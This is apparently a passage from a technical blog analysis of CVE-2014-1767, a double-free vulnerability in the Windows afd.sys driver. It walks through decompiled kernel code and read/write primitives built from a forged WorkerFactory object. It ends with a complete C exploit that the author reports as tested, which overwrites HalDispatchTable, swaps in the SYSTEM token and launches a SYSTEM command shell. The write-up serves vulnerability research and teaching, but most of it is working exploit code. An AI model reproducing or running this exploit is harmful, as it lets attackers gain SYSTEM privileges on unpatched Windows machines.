  1. PVOID __stdcall ExAllocatePoolWithQuotaTag(POOL_TYPE PoolType, SIZE_T NumberOfBytes, ULONG Tag)    
  2. {    
  3.   v3 = PoolType;    
  4.   …………    
  5.   if ( (PoolType & 8) != 0 )    
  6.   {    
  7.     …………    
  8.     v3 = PoolType & 0xFFFFFFF7;    
  9.   }    
  10.   …………    
  11.   v5 = v3 + 8;    
  12.   …………    
  13.   // sizof(WorkFactoryObject) == 0xA0 < 0xFF4    
  14.   if ( NumberOfBytes > 0xFF4 || Process == PsInitialSystemProcess )    
  15.     v5 = (unsigned __int8)v5 - 8;    
  16.   else    
  17.     NumberOfBytes += 4;    
  18. // It seems that even when POOL_TYPE is 8, memory is also allocated in NonPagedPool.
  19.   PoolWithTag = (char *)ExAllocatePoolWithTag((POOL_TYPE)v5, NumberOfBytes, Tag);    
  20.   …………    
  21. }    

It was found that EaListLength will be added by 4 and then used as the length of memory allocation. Therefore, if we want to get the same piece of memory, when calling NtQueryEaFile, EaListLength needs to be 0xA0 - 4. Below is the corresponding code in Exploit Reference 2:

  1. // Create WorkerFactory Object
  2. DWORD Status = MyNtCreateWorkerFactory(&hWorkerFactory, GENERIC_ALL, NULL, hCompletionPort, (HANDLE)-1, NULL, NULL, 0, 0, 0);    
  3.     
  4. // The second release, the memory released is the WorkerFactory Object.
  5. DeviceIoControl((HANDLE)s, 0x120C3, (LPVOID)inbuf2, 0x10, NULL, 0, NULL, NULL);    
  6.     
  7. // Now copy the forged object to the released memory, NtQueryEaFile internally will apply for the released memory again. 
  8. IO_STATUS_BLOCK IoStatus;    
  9. MyNtQueryEaFile(INVALID_HANDLE_VALUE, &IoStatus, 0, 0, 0, WorkerFactory, 0xA0 - 0x4, 0, 0);    

Section 1
After talking so much above, it’s actually to solve two problems:

  1. How to get the storage address of the HalQuerySystemInformation function?
  2. After getting the address in 1, how to write our Shellcode address to this address?

We got the address of HalDispatchTable through LoadLibrary and GetProcAddress, and then used the NtQueryEaFile function to forge a WorkerFactory object to construct a write primitive. Using the constructed write primitive, we overwrote the original HalQuerySystemInformation call of the system with the address of our Shellcode function.

At this point, theoretically, we only need to trigger the HalQuerySystemInformation call to execute our Shellcode, as follows Reference 2:

  1. // Call Shellcode
  2. DWORD Interval;
  3. MyNtQueryIntervalProfile(2, &Interval);

But in order to avoid system crashes, at the end of Shellcode, we also need to restore the original HalQuerySystemInformation function.

So, how to get the original HalQuerySystemInformation function address?

Read Primitive
Through the introduction above, we still use the WorkerFactory object to construct the read language. This time we turn our attention to NtQueryInformationWorkerFactory:

  1. NTSTATUS __stdcall NtQueryInformationWorkerFactory(void *a1, int a2, ULONG a3, int a4, _DWORD *a5)    
  2. {    
  3.   if ( PreviousMode )  
  4.   {  
  5.      v7 = (char *)a3;  
  6.   }  
  7.   else  
  8.   {  
  9.     v7 = (char *)a3;  
  10.   }  
  11.   …………    
  12.   result = ObReferenceObjectByHandle(    
  13.              a1,    
  14.              8u,    
  15.              ExpWorkerFactoryObjectType,    
  16.              AccessMode[0],    
  17.              (PVOID *)&WorkerFactoryObject,    
  18.              0);    
  19.   if ( result >= 0 )    
  20.   {    
  21.     …………    
  22.     v10 = (char *)WorkerFactoryObject;    
  23.     …………    
  24.     *(_DWORD *)v16 = *((_DWORD *)v10 + 2);    
  25.     …………    
  26.     // 0x19 * sizeof(DWORD *) = 0x64    
  27.     *(_DWORD *)&v16[0x50] = *(_DWORD *)(*((_DWORD *)v10 + 0x19) + 0xB4); // We can construct read primitive  here
  28.     …………    
  29.     // Copy size is 0x60 bytes  
  30.     qmemcpy(v7, v16, 0x60u);  
  31.   }    
  32. }    

As you can see, in this function, there is a dereference, which will add 0xB4 to the value at WorkerFactoryObject+0x64, then dereference it, assign it to the position 0x50 of the return content, and finally return a memory size of 0x60. It should be noted here that the v10 above is DWORD *, so (DWORD *)v10 + 0x19 is equal to (CHAR *)v10 + 0x64.

Therefore, if we want to get the original HalQuerySystemInformation function address, we need HalDispatchTable + 4 - 0xB4, so the processing logic in Exploit is Reference 2:

  1. BYTE WorkerFactory[0xA0] = { 0 };    
  2. ………    
  3. PBYTE pObj = WorkerFactory + 0x28;    
  4. *(DWORD*)(pObj + 0x64) = MyHalDispatchTable - 0xB4 + 4;    
  5. ………    
  6. // Read oldHaliQuerySystemInformation    
  7. // Kernel will return 0x60 bytes data, which is stored at kernelRetMem + 0x50
  8. BYTE kernelRetMem[0x60] = { 0 };    
  9. MyNtQueryInformationWorkerFactory(hWorkerFactory, 7, kernelRetMem, 0x60, NULL);    
  10. oldHaliQuerySystemInformation = *(DWORD*)(kernelRetMem + 0x50);    

This way we get the original HalQuerySystemInformation address, and we only need to restore it at the end of Shellcode.

Section 2
Review the entire code, the key context is as follows:

  1. DWORD oldHaliQuerySystemInformation = NULL;    
  2. DWORD MyHalDispatchTable = NULL;    
  3.     
  4. NTSTATUS __stdcall Shellcode(int a,int b,int c,int d)    
  5. {    
  6.   ………… // The omitted part of this function is to extract the TOKEN of the System privilege process to the current process.    
  7.   // Restore hook    
  8.   *(DWORD*)(MyHalDispatchTable + 4) = oldHaliQuerySystemInformation;    
  9.     
  10.   return 0;    
  11. }    
  12.     
  13. int main(int argc, char** argv)    
  14. {    
  15.   // The first release of MDL.    
  16.   DeviceIoControl((HANDLE)s, 0x1207F, (LPVOID)inbuf1, 0x30, NULL, 0, NULL, NULL);    
  17.   …………    
  18.   // Create a WorkerFactory object of size 0xA0, which is located in the same memory as the above MDL.
  19.   MyNtCreateWorkerFactory(&hWorkerFactory, GENERIC_ALL, NULL, hCompletionPort, (HANDLE)-1, NULL, NULL, 0, 0, 0);    
  20.   …………    
  21.   // Release the WorkerFactory object.
  22.   DeviceIoControl((HANDLE)s, 0x120C3, (LPVOID)inbuf2, 0x10, NULL, 0, NULL, NULL);    
  23.   …………    
  24.   // Create a forged WorkerFactory object again in the same memory. 
  25.   MyNtQueryEaFile(INVALID_HANDLE_VALUE, &IoStatus, 0, 0, 0, WorkerFactory, 0xA0 - 0x4, 0, 0);    
  26.   …………    
  27.   // Read primitive to get the address of the original HaliQuerySystemInformation function.
  28.   oldHaliQuerySystemInformation = *(DWORD*)(kernelRetMem + 0x50);    
  29.   …………  
  30.   // Write primitive to replace the original HaliQuerySystemInformation with Shellcode.
  31.   MyNtSetInformationWorkerFactory(hWorkerFactory, 8, &scAddr, 4);  
  32.   …………    
  33.   // This causes the Shellcode to execute, and the TOKEN of the current process is replaced with the System privilege TOKEN.
  34.   MyNtQueryIntervalProfile(2, &Interval);    
  35.   // Create a cmd with system privileges, inheriting the System privilege Token.
  36.   ShellExecuteA(NULL, "open""cmd.exe", NULL, NULL, SW_SHOW);    
  37. }    

The last detail
The whole vulnerability, the most core trick to put it bluntly is actually completed by repeatedly applying and releasing the same piece of memory.

Through the analysis above, we know that the size of this piece of memory is the size of the WorkerFactory object, but there is a detail that is the beginning, that is, how does afd!TransmitFile call to apply for a piece of memory the size of WorkerFactory?

Let’s go back to the memory allocation place of the first DeviceIoControl call:

  1. MACRO_STATUS __fastcall AfdTransmitFile(PIRP Irp, _IO_STACK_LOCATION *location)    
  2. {    
  3.   v50 = location;    
  4.   …………    
  5.   qmemcpy(&InputBuffer, v50->Parameters.Type3InputBuffer, sizeof(InputBuffer));    
  6.   …………    
  7.   if ( (*(_DWORD *)&FsContext->NonBlocking & 0x200) != 0 )    
  8.     v6 = AfdTliGetTpInfo(3u);                   // <-- step in    
  9.   …………    
  10.   v7 = v6;    
  11.   …………    
  12.   Length = InputBuffer.Length;    
  13.   if ( InputBuffer.Length )    
  14.   {    
  15.     v51 = &v7->UnkObjArray[*p_UnkCounter];    
  16.     v11 = v51;    
  17.     …………    
  18.     if ( (InputBuffer.field_28 & 0x10) != 0 )    
  19.     {    
  20.       v11->Status = STATUS_GUARD_PAGE_VIOLATION;    
  21.       Mdl = IoAllocateMdl(VirtualAddress, Length, 0, 1u, 0);    
  22.       v11->MdlAddress = Mdl;    
  23.       …………    
  24.     }    
  25.   }    
  26.   …………    
  27. }    

So all the key parameters come from our input, and the parameters that control the size will be passed to IoAllocateMdl for memory allocation. Let’s take a look at the details of the IoAllocateMdl function allocating memory:

  1. PMDL __stdcall IoAllocateMdl( PVOID VirtualAddress, ULONG Length,     
  2.         BOOLEAN SecondaryBuffer, BOOLEAN ChargeQuota, PIRP Irp)    
  3. {    
  4.   …………    
  5.   v6 = ((Length & 0xFFF) + ((unsigned __int16)VirtualAddress & 0xFFF) + 4095) >> 12;    
  6.   v7 = v6 + (Length >> 12);    
  7.   v15 = (unsigned __int16)VirtualAddress & 0xFFF;    
  8.   if ( v7 > 0x11 )    
  9.   {    
  10.     v8 = 4 * v7 + 28;    
  11.     goto LABEL_8;    
  12.   }    
  13.   …………    
  14.   if ( !result )    
  15.   {    
  16.     v8 = 96; // won't reach here   
  17. LABEL_8:    
  18.     result = (PMDL)ExAllocatePoolWithTag(NonPagedPool, v8, 0x206C644Du);    
  19.     if ( !result )    
  20.       return result;    
  21.   }    
  22.   …………    
  23.   return result;    
  24. }    

It can be seen that the parameter v8 passed to the memory allocation function ExAllocatePoolWithTag as the length is calculated from VirtualAddress and Length, and VirtualAddress and Length are under our control. We can use the following code to calculate violently:

  1. VirtualAddress = 0x710DDDD    
  2. TargetSize = 0xA0  #Size of WorkerFactory  Object
  3.     
  4. for Length in range(0, 0xFFFFFFFF, 1):    
  5.     extra_page = int((int(Length & 0xFFF) + int(VirtualAddress & 0xFFF) + 0xFFF) >> 12)    
  6.     v7 = extra_page + int(Length >> 12)    
  7.     if TargetSize == (4 * v7 + 0x1C):    
  8.         print('%X <=> %d' % (Length, Length))    
  9.         break  

The result is as follows:


The final value obtained and the Length in Exploit in reference 2 are actually not equal. The Length calculated in reference 2 is 0x20000. After actual testing, using the value 0x1F224 we calculated can also successfully elevate privileges.

In fact, if you remove the break at the end of the above code, we can get a lot of available values, and 0x20000 is among them.

Put it all togeher
The following exploit code comes from reference 2, only the Length mentioned above has been modified, and it has been tested to successfully elevate privileges on Windows 7 x86 SP1:

  1. #include <stdio.h>    
  2. #include <windows.h>    
  3.      
  4. #pragma comment(lib,"Ws2_32.lib")    
  5.      
  6. #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)    
  7. #define STATUS_INFO_LENGTH_MISMATCH  ((NTSTATUS)0xC0000004L)    
  8.      
  9. typedef NTSTATUS(__stdcall* __NtCreateWorkerFactory)(PHANDLE, ACCESS_MASK, PVOIDHANDLEHANDLEPVOIDPVOIDULONGSIZE_TSIZE_T);    
  10. typedef NTSTATUS(__stdcall* __NtQueryEaFile)(HANDLEPVOIDPVOIDULONGBOOLEANPVOIDULONGPULONGBOOLEAN);    
  11. typedef NTSTATUS(__stdcall* __NtQuerySystemInformation)(ULONGPVOIDULONGPULONG);    
  12. typedef NTSTATUS(__stdcall* __NtSetInformationWorkerFactory)(HANDLEULONGPVOIDULONG);    
  13. typedef NTSTATUS(__stdcall* __NtQueryIntervalProfile)(DWORDPULONG);    
  14. typedef NTSTATUS(__stdcall* __PsLookupProcessByProcessId)(DWORDLPVOID*);    
  15. typedef NTSTATUS(__stdcall* __NtQueryInformationWorkerFactory)(HANDLELONGPVOIDULONGPULONG);    
  16.      
  17.      
  18. typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {    
  19.     HANDLE Section;    
  20.     PVOID  MappedBase;    
  21.     PVOID  Base;    
  22.     ULONG  Size;    
  23.     ULONG  Flags;    
  24.     USHORT LoadOrderIndex;    
  25.     USHORT InitOrderIndex;    
  26.     USHORT LoadCount;    
  27.     USHORT OffsetToFileName;    
  28.     CHAR   ImageName[256];    
  29. } SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY;    
  30.      
  31. typedef struct _SYSTEM_MODULE_INFORMATION {    
  32.     ULONG Count;    
  33.     SYSTEM_MODULE_INFORMATION_ENTRY Module[1];    
  34. } SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;    
  35.      
  36. typedef struct _IO_STATUS_BLOCK {    
  37.     union {    
  38.         NTSTATUS Status;    
  39.         PVOID    Pointer;    
  40.     };    
  41.     ULONG_PTR Information;    
  42. } IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;    
  43.      
  44.      
  45. __NtCreateWorkerFactory                MyNtCreateWorkerFactory = NULL;    
  46. __NtQueryEaFile                        MyNtQueryEaFile = NULL;    
  47. __NtQuerySystemInformation            MyNtQuerySystemInformation = NULL;    
  48. __NtSetInformationWorkerFactory        MyNtSetInformationWorkerFactory = NULL;    
  49. __NtQueryIntervalProfile            MyNtQueryIntervalProfile = NULL;    
  50. __PsLookupProcessByProcessId        MyPsLookupProcessByProcessId = NULL;    
  51. __NtQueryInformationWorkerFactory    MyNtQueryInformationWorkerFactory = NULL;    
  52.      
  53. DWORD MyHalDispatchTable = NULL;    
  54. DWORD oldHaliQuerySystemInformation = NULL;    
  55. HANDLE hWorkerFactory = NULL;    
  56. typedef DWORD PEPROCESS;    
  57.      
  58.      
  59. DWORD GetFuncAddr()    
  60. {    
  61.     // Obtain the exported functions in ntdll
  62.     HMODULE hNtdll;    
  63.     hNtdll = GetModuleHandle("ntdll.dll");    
  64.     if (hNtdll == NULL)    
  65.     {    
  66.         printf("GetModuleHandle Failed %p\n", GetLastError());    
  67.         return 0;    
  68.     }    
  69.      
  70.     MyNtCreateWorkerFactory = GetProcAddress(hNtdll, "NtCreateWorkerFactory");    
  71.     MyNtQueryEaFile = GetProcAddress(hNtdll, "NtQueryEaFile");    
  72.     MyNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");    
  73.     MyNtSetInformationWorkerFactory = GetProcAddress(hNtdll, "NtSetInformationWorkerFactory");    
  74.     MyNtQueryIntervalProfile = GetProcAddress(hNtdll, "NtQueryIntervalProfile");    
  75.     MyNtQueryInformationWorkerFactory = GetProcAddress(hNtdll, "ZwQueryInformationWorkerFactory");    
  76.      
  77.     if (!MyNtCreateWorkerFactory || !MyNtQueryEaFile || !MyNtQuerySystemInformation || !MyNtSetInformationWorkerFactory ||    
  78.         !MyNtQueryIntervalProfile || !MyNtQueryInformationWorkerFactory)    
  79.     {    
  80.         printf("GetProcAddress Failed %p\n", GetLastError());    
  81.         return 0;    
  82.     }    
  83.      
  84.     // Get the base address of nt, PsLookupProcessByProcessId, and HalDispatchTable address.
  85.     NTSTATUS Status;    
  86.     DWORD cbNeed;    
  87.      
  88.     Status = MyNtQuerySystemInformation(11, NULL, 0, &cbNeed);    
  89.     if (Status != STATUS_INFO_LENGTH_MISMATCH)    
  90.     {    
  91.         printf("MyNtQuerySystemInformation Failed %p\n", Status);    
  92.         return 0;    
  93.     }    
  94.     PSYSTEM_MODULE_INFORMATION Info = (PSYSTEM_MODULE_INFORMATION)malloc(cbNeed);    
  95.      
  96.     Status = MyNtQuerySystemInformation(11, Info, cbNeed, &cbNeed);    
  97.     if (!NT_SUCCESS(Status))    
  98.     {    
  99.         printf("MyNtQuerySystemInformation Failed %p\n", Status);    
  100.         return 0;    
  101.     }    
  102.      
  103.     DWORD Ntbase = Info->Module[0].Base;    
  104.     HMODULE Mynt = LoadLibrary(Info->Module[0].ImageName + Info->Module[0].OffsetToFileName);    
  105.     if (Mynt == NULL)    
  106.     {    
  107.         printf("LoadLibrary Nt Failed\n" );    
  108.         return 0;    
  109.     }    
  110.      
  111.     MyHalDispatchTable = (ULONG)GetProcAddress(Mynt, "HalDispatchTable") - (ULONG)Mynt + Ntbase;    
  112.     if (MyHalDispatchTable == NULL)    
  113.     {    
  114.         printf("Get HalDispatchTable Failed %p\n", GetLastError());    
  115.         return 0;    
  116.     }    
  117.      
  118.     MyPsLookupProcessByProcessId = (ULONG)GetProcAddress(Mynt, "PsLookupProcessByProcessId") - (ULONG)Mynt + Ntbase;    
  119.     if (MyPsLookupProcessByProcessId == NULL)    
  120.     {    
  121.         printf("Get PsLookupProcessByProcessId  Failed %p\n", GetLastError());    
  122.         return 0;    
  123.     }    
  124.      
  125.     return 1;    
  126. }    
  127.      
  128.      
  129. NTSTATUS __stdcall Shellcode(int a,int b,int c,int d)    
  130. {    
  131.     // Get the EPROCESS of self and system processes.
  132.     PEPROCESS pCur, pSys;    
  133.     DWORD ObjTable;    
  134.     MyPsLookupProcessByProcessId(GetCurrentProcessId(), &pCur);    
  135.     MyPsLookupProcessByProcessId(4, &pSys);    
  136.      
  137.     // Elevate privileges, 0xF8 is the token position.
  138.     *(DWORD*)(pCur + 0xF8) = *(DWORD*)(pSys + 0xF8);    
  139.      
  140.     // Bypass handle cleanup.
  141.     ObjTable = *(DWORD*)(pCur + 0xF4);    
  142.     *(DWORD*)(ObjTable + 0x30) -= 1;    
  143.     ObjTable = *(DWORD*)ObjTable;    
  144.     *(DWORD*)(ObjTable + ((DWORD)hWorkerFactory * 2)) = 0;    
  145.      
  146.     // Restore Hook    
  147.     *(DWORD*)(MyHalDispatchTable + 4) = oldHaliQuerySystemInformation;    
  148.      
  149.     return 0;    
  150. }    
  151.      
  152. int main(int argc, char** argv)    
  153. {    
  154.     // Get all the necessary addresses.
  155.     if (!GetFuncAddr())    
  156.     {    
  157.         printf("GetFuncAddr Failed \n");    
  158.         return 0;    
  159.     }    
  160.      
  161.     DWORD mdlSize = 0xA0;    
  162.     DWORD virtualAddress = 0x710DDDD;    
  163.     DWORD length = 0x1F224;    
  164.      
  165.      
  166.     // Initialize the inputbuf for the first IO control here to achieve the goal of the first release.
  167.     static BYTE inbuf1[0x30];    
  168.     memset(inbuf1, 0, sizeof(inbuf1));    
  169.     *(ULONG*)(inbuf1 + 0x18) = virtualAddress;    
  170.     *(ULONG*)(inbuf1 + 0x1C) = length;    
  171.     *(ULONG*)(inbuf1 + 0x28) = 1;    
  172.      
  173.     // Initialize the inputbuf for the second IO control here to reach the goal of the second release.
  174.     static BYTE inbuf2[0x10];    
  175.     memset(inbuf2, 0, sizeof(inbuf2));    
  176.     *(ULONG*)inbuf2 = 1;    
  177.     *(ULONG*)(inbuf2 + 4) = 0x0AAAAAAA;    
  178.      
  179.     WSADATA         WSAData;    
  180.     SOCKET         s;    
  181.     SOCKADDR_IN  sa;    
  182.     int             ierr;    
  183.      
  184.     WSAStartup(0x2, &WSAData);    
  185.     s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);    
  186.      
  187.     memset(&sa, 0, sizeof(sa));    
  188.     sa.sin_port = htons(135);    
  189.     sa.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");    
  190.     sa.sin_family = AF_INET;    
  191.     // Create a socket handle that will call the afd.sys vulnerability function.
  192.     ierr = connect(s, (const struct sockaddr*)&sa, sizeof(sa));    
  193.      
  194.     // Release the mdl structure applied for the first time, the size is 0xA0.
  195.     DeviceIoControl((HANDLE)s, 0x1207F, (LPVOID)inbuf1, 0x30, NULL, 0, NULL, NULL);    
  196.      
  197.     // Create a WorkerFactory Object to occupy the space of the released mdl 0xA0.
  198.     HANDLE hCompletionPort = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, 1337, 4);    
  199.      
  200.     // Create a WorkerFactory object.
  201.     DebugBreak();    
  202.     DWORD Status = MyNtCreateWorkerFactory(&hWorkerFactory, GENERIC_ALL, NULL, hCompletionPort, (HANDLE)-1, NULL, NULL, 0, 0, 0);    
  203.      
  204.     // The second release, the memory released is the WorkerFactory Object.
  205.     DeviceIoControl((HANDLE)s, 0x120C3, (LPVOID)inbuf2, 0x10, NULL, 0, NULL, NULL);    
  206.      
  207.     // Start operating the WorkerFactory Object.
  208.     BYTE WorkerFactory[0xA0] = { 0 };    
  209.      
  210.     // When applying, copy the first 0x28 bytes of the object and set the Handle to NULL.
  211.     BYTE ObjHead[0x28] = {        0x00, 0x00, 0x00, 0x00, 0xA8, 0x00, 0x00, 0x00,       
  212.                                 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,    
  213.      
  214.                                 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,     
  215.                                 0x00, 0x00, 0x00, 0x00, 0x16, 0x00, 0x08, 0x00,    
  216.                                 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };     
  217.     memcpy(WorkerFactory, ObjHead, 0x28);    
  218.      
  219.     // The address of arbitrary reading ((obj+0x64)+0xB4) = MyHalDispatchTable + 4.
  220.     PBYTE pObj = WorkerFactory + 0x28;    
  221.     *(DWORD*)(pObj + 0x64) = MyHalDispatchTable - 0xB4 + 4;    
  222.      
  223.     // Arbitrary writing, write the content of *arg3 to *( *(*object+0x10)+0x1C ).
  224.     // *(*object+0x10)+0x1C = MyHalDispatchTable + 4    
  225.     // Because of *object, it is impossible to construct data in this object
  226.     // So another memory is needed to construct data.
  227.     BYTE y[0x14] = { 0 };    
  228.     *(DWORD*)pObj = (DWORD)y;    
  229.     PBYTE py = y;    
  230.     // Now there is a memory y, *(y + 0x10) + 0x1C = MyHalDispatchTable + 4.
  231.     // So *(y+0x10) = MyHalDispatchTable + 4 - 0x1C.
  232.     *(DWORD*)(py + 0x10) = MyHalDispatchTable + 4 - 0x1C;    
  233.      
  234.     // Now copy the forged object to the released memory.
  235.     IO_STATUS_BLOCK IoStatus;    
  236.     MyNtQueryEaFile(INVALID_HANDLE_VALUE, &IoStatus, 0, 0, 0, WorkerFactory, 0xA0 - 0x4, 0, 0);    
  237.      
  238.     // Read oldHaliQuerySystemInformation.
  239.     // The kernel will return 0x60 of its own data, and the required data is placed at kernelRetMem+0x50.
  240.     BYTE kernelRetMem[0x60] = { 0 };    
  241.     MyNtQueryInformationWorkerFactory(hWorkerFactory, 7, kernelRetMem, 0x60, NULL);    
  242.     oldHaliQuerySystemInformation = *(DWORD*)(kernelRetMem + 0x50);    
  243.      
  244.     // Write the shellcode address to HalDispatchTable + 4.
  245.  
  246.     DWORD scAddr = (DWORD)Shellcode;    
  247.     MyNtSetInformationWorkerFactory(hWorkerFactory, 8, &scAddr, 4);    
  248.      
  249.     // Invoke shellcode    
  250.     DWORD Interval;    
  251.     MyNtQueryIntervalProfile(2, &Interval);    
  252.      
  253.     //  After elevating privileges, create a cmd with system privileges.  
  254.     ShellExecuteA(NULL, "open""cmd.exe", NULL, NULL, SW_SHOW);    
  255.      
  256.     system("pause");    
  257.     return 0;    
  258. }    

Finally

Actually, this article started writing in March of this year. During the period, there were too many things at hand, and it was shelved for a long time. Later, I found that there have been several analysis articles on this vulnerability recently, so I picked it up and finished writing, just to join in the fun.

During the writing process, I referred to many articles by my predecessors and also quoted some of the analysis results of my predecessors. The afd.idb, Exploit.c, Poc.c involved in this article have been uploaded to Github Reference 3.

Finally, I hope that my laziness can get sick less and do more meaningful things ;)

References

  1. Pwn2Own_2014_AFD.sys_privilege_escalation
  2. Shocking! Detailed analysis and utilization of CVE-2014-1767 privilege escalation vulnerability (x86x64)
  3. Files involved in this article

Catalog
Vulnerability Trigger
Vulnerability trigger scene
Looking for the timing of memory allocation
Looking for the first release time
Bundle 1
Looking for the second memory release timing
Bundle 2
Summary of the DoubleFree Generation Process
Construct POC
Failed Attempt
Successful Construction of POC
Construct Expolit Idea
Utilization Ideas
Get CPU Control
Construct Read and Write Primitives
Write Primitive
NtQueryEaFile
Section 1
Read Primitive
Section 2
The last detail
Put it all togeher
Finally
References

CopyRight (c) 2020 - 2025 Debugwar.com

Designed by Hacksign